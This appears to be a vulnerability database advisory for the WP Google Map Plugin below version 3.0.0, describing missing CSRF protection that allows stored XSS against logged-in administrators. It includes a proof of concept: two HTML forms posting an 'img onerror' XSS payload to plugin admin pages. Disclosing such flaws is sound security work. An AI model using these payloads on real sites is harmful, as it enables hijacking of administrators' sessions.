WordPress Plugin Vulnerabilities

WP Google Map Plugin < 3.0.0 - CSRF to Authenticated Cross-Site Scripting (XSS)

Description

The lack of CSRF Protection could allow attackers to perform XSS attack against logged in administrators.

Proof of Concept

<form method="POST" action="https://example.com/wp-admin/admin.php?page=wpgmp_add_location" />
<input type="text" name="googlemap_title" value='"><img src=x onerror=alert(1) /> ' />
<input type="submit" />
</form>

<form method="POST" action="https://example.com/wp-admin/admin.php?page=wpgmp_google_wpgmp_create_group_map" />
<input type="text" name="group_map_title" value='"><img src=x onerror=alert(1) /> ' />
<input type="submit" />
</form>